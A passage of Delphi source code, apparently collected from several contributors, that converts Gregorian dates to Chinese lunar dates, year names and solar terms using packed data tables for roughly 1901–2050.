$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $77, $87, ///1981

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1982

$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, ///1983

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, ///1984

$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///1985

$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1986

$95, $B4, $96, $A5, $96, $97, $88, $79, $78, $69, $78, $87, ///1987

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///1988

$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, ///1989

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, ///1990

$95, $B4, $96, $A5, $86, $97, $88, $78, $78, $69, $78, $87, ///1991

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///1992

$A5, $B3, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, ///1993

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1994

$95, $B4, $96, $A5, $96, $97, $88, $76, $78, $69, $78, $87, ///1995

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///1996

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///1997

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1998

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1999

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2000

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2001

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///2002

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///2003

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2004

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2005

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2006

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///2007

$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $87, $78, $87, $86, ///2008

$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2009

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2010

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, ///2011

$96, $B4, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, ///2012

$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, ///2013

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2014

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///2015

$95, $B4, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, ///2016

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, ///2017

$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2018

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, ///2019

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $86, ///2020

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2021

$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, ///2022

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, ///2023

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, ///2024

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2025

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2026

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///2027

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, ///2028

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2029

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2030

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///2031

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, ///2032

$A5, $C3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $86, ///2033

$A5, $B3, $A5, $A5, $A6, $A6, $88, $78, $88, $78, $87, $87, ///2034

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2035

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, ///2036

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, ///2037

$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2038

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2039

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, ///2040

$A5, $C3, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, ///2041

$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///2042

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2043

$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $88, $87, $96, ///2044

$A5, $C3, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, ///2045

$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, ///2046

$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///2047

$95, $B4, $A5, $B4, $A5, $A5, $97, $87, $87, $88, $86, $96, ///2048

$A4, $C3, $A5, $A5, $A5, $A6, $97, $87, $87, $78, $87, $86, ///2049

$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $78, $78, $87, $87); ///2050

function WeekDay(iYear,iMonth,iDay:Word):Integer;

begin

Result:=DayOfWeek(EncodeDate(iYear,iMonth,iDay));

end;

function WeekNum(const TDT:TDateTime):Word;

var

Y,M,D:Word;

dtTmp:TDateTime;

begin

DecodeDate(TDT,Y,M,D);

dtTmp:=EnCodeDate(Y,1,1);

Result:=(Trunc(TDT-dtTmp)+(DayOfWeek(dtTmp)-1)) div 7;

if Result=0 then

Result:=51

else

Result:=Result-1;

end;

function WeekNum(const iYear,iMonth,iDay:Word):Word;

begin

Result:=WeekNum(EncodeDate(iYear,iMonth,iDay));

end;

function MonthDays(iYear,iMonth:Word):Word;

begin

case iMonth of

1,3,5,7,8,10,12: Result:=31;

4,6,9,11: Result:=30;

2://如果是闰年

if IsLeapYear(iYear) then

Result:=29

else

Result:=28

else

Result:=0;

end;

end;

function GetLeapMonth(iLunarYear:Word):Word;

var

Flag:Byte;

begin

Flag:=gLunarMonth[(iLunarYear-START_YEAR) div 2];

if (iLunarYear-START_YEAR) mod 2=0 then

Result:=Flag shr 4

else

Result:=Flag and $0F;

end;

function LunarMonthDays(iLunarYear,iLunarMonth:Word):Longword;

var

Height,Low:Word;

iBit:Integer;

begin

if iLunarYear<START_YEAR then

begin

Result:=30;

Exit;

end;

Height:=0;

Low:=29;

iBit:=16-iLunarMonth;

if (iLunarMonth>GetLeapMonth(iLunarYear)) and (GetLeapMonth(iLunarYear)>0)

then

Dec(iBit);

if (gLunarMonthDay[iLunarYear-START_YEAR] and (1 shl iBit))>0 then

Inc(Low);

if iLunarMonth=GetLeapMonth(iLunarYear) then

if (gLunarMonthDay[iLunarYear-START_YEAR] and (1 shl (iBit-1)))>0 then

Height:=30

else

Height:=29;

Result:=MakeLong(Low,Height);

end;

function LunarYearDays(iLunarYear:Word):Word;

var

Days,i:Word;

tmp:Longword;

begin

Days:=0;

for i:=1 to 12 do

begin

tmp:=LunarMonthDays(iLunarYear,i);

Days:=Days+HiWord(tmp);

Days:=Days+LoWord(tmp);

end;

Result:=Days;

end;

procedure FormatLunarYear(iYear:Word;var pBuffer:string);

var

szText1,szText2,szText3:string;

begin

szText1:='甲乙丙丁戊己庚辛壬癸';

szText2:='子丑寅卯辰巳午未申酉戌亥';

szText3:='鼠牛虎免龙蛇马羊猴鸡狗猪';

pBuffer:=Copy(szText1,((iYear-4) mod 10)*2+1,2);

pBuffer:=pBuffer+Copy(szText2,((iYear-4) mod 12)*2+1,2);

pBuffer:=pBuffer+' ';

pBuffer:=pBuffer+Copy(szText3,((iYear-4) mod 12)*2+1,2);

pBuffer:=pBuffer+'年';

end;

function FormatLunarYear(iYear:Word):string;

var

pBuffer:string;

begin

FormatLunarYear(iYear,pBuffer);

Result:=pBuffer;

end;

procedure FormatMonth(iMonth:Word;var pBuffer:string;bLunar:Boolean);

var

szText:string;

begin

if (not bLunar) and (iMonth=1) then

begin

pBuffer:=' 一月';

Exit;

end;

szText:='正二三四五六七八九十';

if iMonth<=10 then

begin

pBuffer:=' ';

pBuffer:=pBuffer+Copy(szText,(iMonth-1)*2+1,2);

pBuffer:=pBuffer+'月';

Exit;

end;

if iMonth=11 then

pBuffer:='十一'

else

pBuffer:='十二';

pBuffer:=pBuffer+'月';

end;

function FormatMonth(iMonth:Word;bLunar:Boolean):string;

var

pBuffer:string;

begin

FormatMonth(iMonth,pBuffer,bLunar);

Result:=pBuffer;

end;

procedure FormatLunarDay(iDay:Word;var pBuffer:string);

var

szText1,szText2:string;

begin

szText1:='初十廿三';

szText2:='一二三四五六七八九十';

if (iDay<>20) and (iDay<>30) then

begin

pBuffer:=Copy(szText1,((iDay-1) div 10)*2+1,2);

pBuffer:=pBuffer+Copy(szText2,((iDay-1) mod 10)*2+1,2);

end

else

begin

pBuffer:=Copy(szText1,(iDay div 10)*2+1,2);

pBuffer:=pBuffer+'十';

end;

end;

function FormatLunarDay(iDay:Word):string;

var

pBuffer:string;

begin

FormatLunarDay(iDay,pBuffer);

Result:=pBuffer;

end;

function

CalcDateDiff(iEndYear,iEndMonth,iEndDay:Word;iStartYear:Word;iStartMonth:Wor

d;iStartDay:Word):Longword;

begin

Result:=Trunc(EncodeDate(iEndYear,iEndMonth,iEndDay)-EncodeDate(iStartYear,i

StartMonth,iStartDay));

end;

function CalcDateDiff(EndDate,StartDate:TDateTime):Longword;

begin

Result:=Trunc(EndDate-StartDate);

end;

function GetLunarDate(iYear,iMonth,iDay:Word;var

iLunarYear,iLunarMonth,iLunarDay:Word):Word;

begin

l_CalcLunarDate(iLunarYear,iLunarMonth,iLunarDay,CalcDateDiff(iYear,iMonth,i

Day));

Result:=l_GetLunarHolDay(iYear,iMonth,iDay);

end;

procedure GetLunarDate(InDate:TDateTime;var

iLunarYear,iLunarMonth,iLunarDay:Word);

begin

l_CalcLunarDate(iLunarYear,iLunarMonth,iLunarDay,CalcDateDiff(InDate,EncodeD

ate(START_YEAR,1,1)));

end;

procedure l_CalcLunarDate(var iYear,iMonth,iDay:Word;iSpanDays:Longword);

var

tmp:Longword;

begin

///阳历1901年2月19日为阴历1901年正月初一

///阳历1901年1月1日到2月19日共有49天

if iSpanDays<49 then

begin

iYear:=START_YEAR-1;

if iSpanDays<19 then

begin

iMonth:=11;

iDay:=11+Word(iSpanDays);

end

else

begin

iMonth:=12;

iDay:=Word(iSpanDays)-18;

end;

Exit;

end;

///下面从阴历1901年正月初一算起

iSpanDays:=iSpanDays-49;

iYear:=START_YEAR;

iMonth:=1;

iDay:=1;

///计算年

tmp:=LunarYearDays(iYear);

while iSpanDays>=tmp do

begin

iSpanDays:=iSpanDays-tmp;

Inc(iYear);

tmp:=LunarYearDays(iYear);

end;

///计算月

tmp:=LoWord(LunarMonthDays(iYear,iMonth));

while iSpanDays>=tmp do

begin

iSpanDays:=iSpanDays-tmp;

if iMonth=GetLeapMonth(iYear) then

begin

tmp:=HiWord(LunarMonthDays(iYear,iMonth));

if iSpanDays<tmp then

Break;

iSpanDays:=iSpanDays-tmp;

end;

Inc(iMonth);

tmp:=LoWord(LunarMonthDays(iYear,iMonth));

end;

///计算日

iDay:=iDay+Word(iSpanDays);

end;

function l_GetLunarHolDay(iYear,iMonth,iDay:Word):Word;

var

Flag:Byte;

Day:Word;

begin

Flag:=gLunarHolDay[(iYear-START_YEAR)*12+iMonth-1];

if iDay<15 then

Day:=15-((Flag shr 4) and $0f)

else

Day:=(Flag and $0f)+15;

if iDay=Day then

if iDay>15 then

Result:=(iMonth-1)*2+2

else

Result:=(iMonth-1)*2+1

else

Result:=0;

end;

function GetLunarHolDay(InDate:TDateTime):string;

var

i,iYear,iMonth,iDay:Word;

begin

DecodeDate(InDate,iYear,iMonth,iDay);

i:=l_GetLunarHolDay(iYear,iMonth,iDay);

case i of

1:Result:='小寒';

2:Result:='大寒';

3:Result:='立春';

4:Result:='雨水';

5:Result:='惊蛰';

6:Result:='春分';

7:Result:='清明';

8:Result:='谷雨';

9:Result:='立夏';

10:Result:='小满';

11:Result:='芒种';

12:Result:='夏至';

13:Result:='小暑';

14:Result:='大暑';

15:Result:='立秋';

16:Result:='处暑';

17:Result:='白露';

18:Result:='秋分';

19:Result:='寒露';

20:Result:='霜降';

21:Result:='立冬';

22:Result:='小雪';

23:Result:='大雪';

24:Result:='冬至';

else

Result:='';

end;

end;

function GetLunarHolDay(iYear,iMonth,iDay:Word):string;

begin

Result:=GetLunarHolDay(EncodeDate(iYear,iMonth,iDay));

end;

end.


農曆算法
{

這是一個國曆與農曆互相轉的Unit.

其中年份皆用民國年份, 請自行轉換 (西元年-1911 = 民國年).

***************************************************************************

*國農曆對映表之說明 : *

***************************************************************************

* 前二數字 = 閏月月份, 如果為 13 則沒有閏月 *

* 第三至第六數字 = 12 個月之大小月之2進位碼->10進位 *

* 例如: *

* 101010101010 = 2730 *

* 1 : 代表大月(30天) 0 : 代表小月(29天) ==> 1月大2月小3月大..... *

* 第七位數字為閏月天數 *

* 0 : 沒有閏月之天數 *

* 1 : 閏月為小月(29天) *

* 2 : 閏月為大月(30天) *

* 最後2位數字代表陽曆之1月1日與陰曆之1月1日相差天數 *

***************************************************************************

這對映表只有民國一年至民國一百年, 如不敷您的使用請按照上述之方式自行增加.

這個程式沒有判斷您所輸入之年,月,日是否正確, 請自行判斷.

如果轉換出來之農曆的月份是閏月則傳給您的值是***負數***

如果農曆要轉換國曆如果是閏月請輸入***負數***

此版本為FreeWare Version : 0.1

您可以自行修改, 但最好可以將修改過之程式Mail一份給我.

如果您要用於商業用途, 請mail給我告知您的用途及原因.

作者 : 彭宏傑

E-Mail : rexpeng@ms1.hinet.net

}

unit Lunar;

interface

uses SysUtils;

//國曆轉農曆(民國年, 月, 日, var 農曆年, 農曆月, 農曆日)

procedure Solar2Lunar(SYear, SMonth, SDay : Integer; Var LYear, LMonth, LDay : Integer);

//農曆轉國曆(農曆年, 農曆月, 農曆日, var 民國年, 月, 日)

procedure Lunar2Solar(LYear, LMonth, LDay : Integer; Var SYear, SMonth, SDay : Integer);

//輸入農曆年份換算六十甲子名稱

function YearName(LYear : integer) : string;

//得知農曆之月份天數

function DaysPerLunarMonth(LYear, LMonth : Integer) : Integer;

implementation

const

SMDay : array[1..12] of integer = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

c1 : array[1..10] of string[2] = ('甲', '乙', '丙', '丁', '戊', '己', '庚', '辛', '壬', '癸');

c2 : array[1..12] of string[2] = ('子', '丑', '寅', '卯', '辰', '巳', '午', '未', '申', '酉', '戌', '亥');

// Magic String :

LongLife : array[1..111] of string[9] = (

'132637048', '133365036', '053365225', '132900044', '131386034', '022778122', //6

'132395041', '071175231', '131175050', '132635038', '052891127', '131701046', //12

'131748035', '042741223', '130694043', '132391032', '021327122', '131175040', //18

'061623129', '133402047', '133402036', '051769125', '131453044', '130694034', //24

'032158223', '132350041', '073213230', '133221049', '133402038', '063466226', //30

'132901045', '131130035', '042651224', '130605043', '132349032', '023371121', //36

'132709040', '072901128', '131738047', '132901036', '051333226', '131210044', //42

'132651033', '031111223', '131323042', '082714130', '133733048', '131706038', //48

'062794127', '132741045', '131206035', '042734124', '132647043', '131318032', //54

'033878120', '133477039', '071461129', '131386047', '132413036', '051245126', //60

'131197045', '132637033', '043405122', '133365041', '083413130', '132900048', //66

'132922037', '062394227', '132395046', '131179035', '042711124', '132635043', //72

'102855132', '131701050', '131748039', '062804128', '132742047', '132359036', //78

'051199126', '131175045', '131611034', '031866122', '133749040', '081717130', //84

'131452049', '132742037', '052413127', '132350046', '133222035', '043477123', //90

'133402042', '133493031', '021877121', '131386039', '072747128', '130605048', //96

'132349037', '053243125', '132709044', '132890033', '042986122', '132901040', //102

'091373130', '131210049', '132651038', '061303127', '131323046', '132707035', //108

'041941124', '131706042', '132773031'); //111

var

LMDay : array[1..13] of integer;

InterMonth, InterMonthDays, SLRangeDay : integer;

function IsLeapYear(AYear: Integer): Boolean;

begin

Result := (AYear mod 4 = 0) and ((AYear mod 100 <> 0) or (AYear mod 400 = 0));

end;

function YearName(LYear : integer) : string;

var

x, y, ya : integer;

begin

ya := LYear;

if ya < 1 then

ya := ya + 1;

if ya < 12 then

ya := ya + 60;

x := (ya + 8 - ((ya + 7) div 10) * 10);

y := (ya - ((ya-1) div 12) * 12);

result := c1[x]+c2[y];

end;

procedure CovertLunarMonth(magicno : integer);

var

i, size, m : integer;

begin

m := magicno;

for i := 12 downto 1 do begin

size := m mod 2;

if size = 0 then

LMDay[i] := 29

else

LMDay[i] := 30;

m := m div 2;

end;

end;

procedure ProcessMagicStr(yy : integer);

var

magicstr : string;

dsize, LunarMonth : integer;

begin

magicstr := LongLife[yy];

InterMonth := StrToInt(Copy(magicstr, 1, 2));

LunarMonth := StrToInt(copy(magicstr, 3, 4));

CovertLunarMonth(LunarMonth);

dsize := StrToInt(Copy(magicstr, 7, 1));

case dsize of

0 : InterMonthDays := 0;

1 : InterMonthDays := 29;

2 : InterMonthDays := 30;

end;

SLRangeDay := StrToInt(Copy(Magicstr, 8, 2));

end;

function DaysPerLunarMonth(LYear, LMonth : Integer) : Integer;

begin

ProcessMagicStr(LYear);

if LMonth < 0 then

Result := InterMonthDays

else

Result := LMDay[LMonth];

end;

procedure Solar2Lunar(SYear, SMonth, SDay : integer; var LYear, LMonth, LDay : integer);

var

i, day : integer;

begin

day := 0;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

ProcessMagicStr(SYear);

if SMonth = 1 then

day := SDay

else begin

for i := 1 to SMonth-1 do

day := day + SMDay[i];

day := day + SDay;

end;

if day <= SLRangeDay then begin

day := day - SLRangeDay;

processmagicstr(SYear-1);

for i := 12 downto 1 do begin

day := day + LMDay[i];

if day > 0 then

break;

end;

LYear := SYear - 1;

LMonth := i;

LDay := day;

end else begin

day := day - SLRangeDay;

for i := 1 to InterMonth-1 do begin

day := day - LMDay[i];

if day <= 0 then

break;

end;

if day <= 0 then begin

LYear := SYear;

LMonth := i;

LDay := day + LMDay[i];

end else begin

day := day - LMDay[InterMonth];

if day <= 0 then begin

LYear := SYear;

LMonth := InterMonth;

LDay := day + LMDay[InterMonth];

end else begin

LMDay[InterMonth] := InterMonthDays;

for i := InterMonth to 12 do begin

day := day - LMDay[i];

if day <= 0 then

break;

end;

if i = InterMonth then

LMonth := 0 - InterMonth

else

LMonth := i;

LYear := SYear;

LDay := day + LMDay[i];

end;

end;

end;

end;

procedure Lunar2Solar(LYear, LMonth, LDay : integer; var SYear, SMonth, SDay : integer);

var

i, day : integer;

begin

day := 0;

SYear := LYear;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

processmagicstr(SYear);

if LMonth < 0 then

day := LMDay[InterMonth];

if LMonth <> 1 then

for i := 1 to LMonth-1 do

day := day + LMDay[i];

day := day + LDay + SLRangeDay;

if (InterMonth <> 13) and (InterMonth < LMonth) then

day := day + InterMonthDays;

for i := 1 to 12 do begin

day := day - SMDay[i];

if day <= 0 then

break;

end;

if day > 0 then begin

SYear := SYear + 1;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

for i := 1 to 12 do begin

day := day - SMDay[i];

if day <= 0 then

break;

end;

end;

//i := i - 1;

day := day + SMDay[i];

//if i = 0 then begin

// i := 12;

// SYear := SYear - 1;

// day := day + 31;

//end;// else

//day := day + SMDay[i];

SMonth := i;

SDay := day;

end;

end.


农历算法
///DELPHI的代码，可以在C++ Builder中编译。

unit DateCn;

interface

uses Windows, SysUtils, Controls;

const

//农历月份数据，每年4字节，从1901年开始，共150年

//数据来源：UCDOS 6.0 UCT.COM

//分析整理：Copyright (c) 1996-1998, Randolph

//数据解析：

//如果第一字节的bit7为1，则该年1月1日位于农历12月，否则位于11月

//第一字节去除bit7为该年1月1日的农历日期

// 第二字节 第三字节

//bit: 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0

//农历月份:16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1

//农历月份指的是从该年1月1日的农历月份算起的顺序号

//农历月份对应的bit为1则该月为30日，否则为29日

//第四字节为闰月月份

CnData: array[0..599] of Byte = (

$0b,$52,$ba,$00,$16,$a9,$5d,$00,$83,$a9,$37,$05,$0e,$74,$9b,$00,

$1a,$b6,$55,$00,$87,$b5,$55,$04,$11,$55,$aa,$00,$1c,$a6,$b5,$00,

$8a,$a5,$75,$02,$14,$52,$ba,$00,$81,$52,$6e,$06,$0d,$e9,$37,$00,

$18,$74,$97,$00,$86,$ea,$96,$05,$10,$6d,$55,$00,$1a,$35,$aa,$00,

$88,$4b,$6a,$02,$13,$a5,$6d,$00,$1e,$d2,$6e,$07,$0b,$d2,$5e,$00,

$17,$e9,$2e,$00,$84,$d9,$2d,$05,$0f,$da,$95,$00,$19,$5b,$52,$00,

$87,$56,$d4,$04,$11,$4a,$da,$00,$1c,$a5,$5d,$00,$89,$a4,$bd,$02,

$15,$d2,$5d,$00,$82,$b2,$5b,$06,$0d,$b5,$2b,$00,$18,$ba,$95,$00,

$86,$b6,$a5,$05,$10,$56,$b4,$00,$1a,$4a,$da,$00,$87,$49,$ba,$03,

$13,$a4,$bb,$00,$1e,$b2,$5b,$07,$0b,$72,$57,$00,$16,$75,$2b,$00,

$84,$6d,$2a,$06,$0f,$ad,$55,$00,$19,$55,$aa,$00,$86,$55,$6c,$04,

$12,$c9,$76,$00,$1c,$64,$b7,$00,$8a,$e4,$ae,$02,$15,$ea,$56,$00,

$83,$da,$55,$07,$0d,$5b,$2a,$00,$18,$ad,$55,$00,$85,$aa,$d5,$05,

$10,$53,$6a,$00,$1b,$a9,$6d,$00,$88,$a9,$5d,$03,$13,$d4,$ae,$00,

$81,$d4,$ab,$08,$0c,$ba,$55,$00,$16,$5a,$aa,$00,$83,$56,$aa,$06,

$0f,$aa,$d5,$00,$19,$52,$da,$00,$86,$52,$ba,$04,$11,$a9,$5d,$00,

$1d,$d4,$9b,$00,$8a,$74,$9b,$03,$15,$b6,$55,$00,$82,$ad,$55,$07,

$0d,$55,$aa,$00,$18,$a5,$b5,$00,$85,$a5,$75,$05,$0f,$52,$b6,$00,

$1b,$69,$37,$00,$89,$e9,$37,$04,$13,$74,$97,$00,$81,$ea,$96,$08,

$0c,$6d,$52,$00,$16,$2d,$aa,$00,$83,$4b,$6a,$06,$0e,$a5,$6d,$00,

$1a,$d2,$6e,$00,$87,$d2,$5e,$04,$12,$e9,$2e,$00,$1d,$ec,$96,$0a,

$0b,$da,$95,$00,$15,$5b,$52,$00,$82,$56,$d2,$06,$0c,$2a,$da,$00,

$18,$a4,$dd,$00,$85,$a4,$bd,$05,$10,$d2,$5d,$00,$1b,$d9,$2d,$00,

$89,$b5,$2b,$03,$14,$ba,$95,$00,$81,$b5,$95,$08,$0b,$56,$b2,$00,

$16,$2a,$da,$00,$83,$49,$b6,$05,$0e,$64,$bb,$00,$19,$b2,$5b,$00,

$87,$6a,$57,$04,$12,$75,$2b,$00,$1d,$b6,$95,$00,$8a,$ad,$55,$02,

$15,$55,$aa,$00,$82,$55,$6c,$07,$0d,$c9,$76,$00,$17,$64,$b7,$00,

$86,$e4,$ae,$05,$11,$ea,$56,$00,$1b,$6d,$2a,$00,$88,$5a,$aa,$04,

$14,$ad,$55,$00,$81,$aa,$d5,$09,$0b,$52,$ea,$00,$16,$a9,$6d,$00,

$84,$a9,$5d,$06,$0f,$d4,$ae,$00,$1a,$ea,$4d,$00,$87,$ba,$55,$04,

$12,$5a,$aa,$00,$1d,$ab,$55,$00,$8a,$a6,$d5,$02,$14,$52,$da,$00,

$82,$52,$ba,$06,$0d,$a9,$3b,$00,$18,$b4,$9b,$00,$85,$74,$9b,$05,

$11,$b5,$4d,$00,$1c,$d6,$a9,$00,$88,$35,$aa,$03,$13,$a5,$b5,$00,

$81,$a5,$75,$0b,$0b,$52,$b6,$00,$16,$69,$37,$00,$84,$e9,$2f,$06,

$10,$f4,$97,$00,$1a,$75,$4b,$00,$87,$6d,$52,$05,$11,$2d,$69,$00,

$1d,$95,$b5,$00,$8a,$a5,$6d,$02,$15,$d2,$6e,$00,$82,$d2,$5e,$07,

$0e,$e9,$2e,$00,$19,$ea,$96,$00,$86,$da,$95,$05,$10,$5b,$4a,$00,

$1c,$ab,$69,$00,$88,$2a,$d8,$03);

function CnMonthOfDate(Date: TDate): String;//指定日期的农历月

function CnDayOfDate(Date: TDate): String;//指定日期的农历日

function CnDateOfDateStr(Date: TDate): String;//指定日期的农历日期

implementation

//日期是该年的第几天，1月1日为第一天

function DaysNumberOfDate(Date: TDate): Integer;

var

DaysNumber: Integer;

I: Integer;

yyyy, mm, dd: Word;

begin

DecodeDate(Date, yyyy, mm, dd);

DaysNumber := 0;

for I := 1 to mm - 1 do

Inc(DaysNumber, MonthDays[IsLeapYear(yyyy), I]);

Inc(DaysNumber, dd);

Result := DaysNumber;

end;

//日期的农历日期，返回农历格式：月份*100 + 日，负数为闰月

//超出范围则返回0

function CnDateOfDate(Date: TDate): Integer;

var

CnMonth, CnMonthDays: array[0..15] of Integer;

CnBeginDay, LeapMonth: Integer;

yyyy, mm, dd: Word;

Bytes: array[0..3] of Byte;

I: Integer;

CnMonthData: Word;

DaysCount, CnDaysCount, ResultMonth, ResultDay: Integer;

begin

DecodeDate(Date, yyyy, mm, dd);

if (yyyy < 1901) or (yyyy > 2050) then

begin

Result := 0;

Exit;

end;

Bytes[0] := CnData[(yyyy - 1901) * 4];

Bytes[1] := CnData[(yyyy - 1901) * 4 + 1];

Bytes[2] := CnData[(yyyy - 1901) * 4 + 2];

Bytes[3] := CnData[(yyyy - 1901) * 4 + 3];

if (Bytes[0] and $80) <> 0 then CnMonth[0] := 12

else CnMonth[0] := 11;

CnBeginDay := (Bytes[0] and $7f);

CnMonthData := Bytes[1];

CnMonthData := CnMonthData shl 8;

CnMonthData := CnMonthData or Bytes[2];

LeapMonth := Bytes[3];

for I := 15 downto 0 do

begin

CnMonthDays[15 - I] := 29;

if ((1 shl I) and CnMonthData) <> 0 then

Inc(CnMonthDays[15 - I]);

if CnMonth[15 - I] = LeapMonth then

CnMonth[15 - I + 1] := - LeapMonth

else

begin

if CnMonth[15 - I] < 0 then //上月为闰月

CnMonth[15 - I + 1] := - CnMonth[15 - I] + 1

else CnMonth[15 - I + 1] := CnMonth[15 - I] + 1;

if CnMonth[15 - I + 1] > 12 then CnMonth[15 - I + 1] := 1;

end;

end;

DaysCount := DaysNumberOfDate(Date) - 1;

if DaysCount <= (CnMonthDays[0] - CnBeginDay) then

begin

if (yyyy > 1901) and

(CnDateOfDate(EncodeDate(yyyy - 1, 12, 31)) < 0) then

ResultMonth := - CnMonth[0]

else ResultMonth := CnMonth[0];

ResultDay := CnBeginDay + DaysCount;

end

else

begin

CnDaysCount := CnMonthDays[0] - CnBeginDay;

I := 1;

while (CnDaysCount < DaysCount) and

(CnDaysCount + CnMonthDays[I] < DaysCount) do

begin

Inc(CnDaysCount, CnMonthDays[I]);

Inc(I);

end;

ResultMonth := CnMonth[I];

ResultDay := DaysCount - CnDaysCount;

end;

if ResultMonth > 0 then

Result := ResultMonth * 100 + ResultDay

else Result := ResultMonth * 100 - ResultDay

end;

function CnMonthOfDate(Date: TDate): String;

const

CnMonthStr: array[1..12] of String = (

'一', '二', '三', '四', '五', '六', '七', '八', '九', '十',

'冬', '蜡');

var

Month: Integer;

begin

Month := CnDateOfDate(Date) div 100;

if Month < 0 then Result := '闰' + CnMonthStr[-Month]

else Result := CnMonthStr[Month] + '月';

end;

function CnDayOfDate(Date: TDate): String;

const

CnDayStr: array[1..30] of String = (

'初一', '初二', '初三', '初四', '初五',

'初六', '初七', '初八', '初九', '初十',

'十一', '十二', '十三', '十四', '十五',

'十六', '十七', '十八', '十九', '二十',

'廿一', '廿二', '廿三', '廿四', '廿五',

'廿六', '廿七', '廿八', '廿九', '三十');

var

Day: Integer;

begin

Day := Abs(CnDateOfDate(Date)) mod 100;

Result := CnDayStr[Day];

end;

function CnDateOfDateStr(Date: TDate): String;

begin

Result := CnMonthOfDate(Date) + CnDayOfDate(Date);

end;

end.

*************

{

這是一個國曆與農曆互相轉的Unit.

其中年份皆用民國年份, 請自行轉換 (西元年-1911 = 民國年).

***************************************************************************

*國農曆對映表之說明 : *

***************************************************************************

* 前二數字 = 閏月月份, 如果為 13 則沒有閏月 *

* 第三至第六數字 = 12 個月之大小月之2進位碼->10進位 *

* 例如: *

* 101010101010 = 2730 *

* 1 : 代表大月(30天) 0 : 代表小月(29天) ==> 1月大2月小3月大..... *

